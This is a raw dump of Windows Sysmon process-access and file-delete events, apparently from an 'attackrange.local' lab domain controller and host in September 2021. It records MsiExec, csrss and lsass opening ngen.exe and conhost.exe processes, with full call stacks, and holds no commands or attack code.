14:43:46.035{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-DD07-00000000F001}348c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.020{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-DB07-00000000F001}6264c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.020{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-DB07-00000000F001}6264c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.004{7BD73061-6F22-613B-DC07-00000000F001}5508224C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-DB07-00000000F001}6264c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.004{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-DC07-00000000F001}5508C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.988{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-DB07-00000000F001}6264c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.988{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-DB07-00000000F001}6264c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000013772Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:47.489{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A96FA98DEA5166ED19D67B0AA02FEE41,SHA256=64FC20AC231F05F49B3B8F7A7100256388E851F6D5B67FCEFADD7AAB03F17A43,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.635{7BD73061-6F23-613B-2E08-00000000F001}9124948C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2D08-00000000F001}476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.635{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2E08-00000000F001}912C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.619{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2D08-00000000F001}476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.619{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2D08-00000000F001}476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.619{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2B08-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.619{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2B08-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.604{7BD73061-6F23-613B-2C08-00000000F001}29924740C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2B08-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.588{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2C08-00000000F001}2992C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.588{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2B08-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.588{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2B08-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.573{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2908-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.573{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2908-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.557{7BD73061-6F23-613B-2A08-00000000F001}11726796C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2908-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.557{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2A08-00000000F001}1172C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.541{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2908-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.541{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2908-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.541{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2708-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.541{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2708-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.526{7BD73061-6F23-613B-2808-00000000F001}64445464C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2708-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.510{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2808-00000000F001}6444C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.510{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2708-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.510{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2708-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.494{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2508-00000000F001}6632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 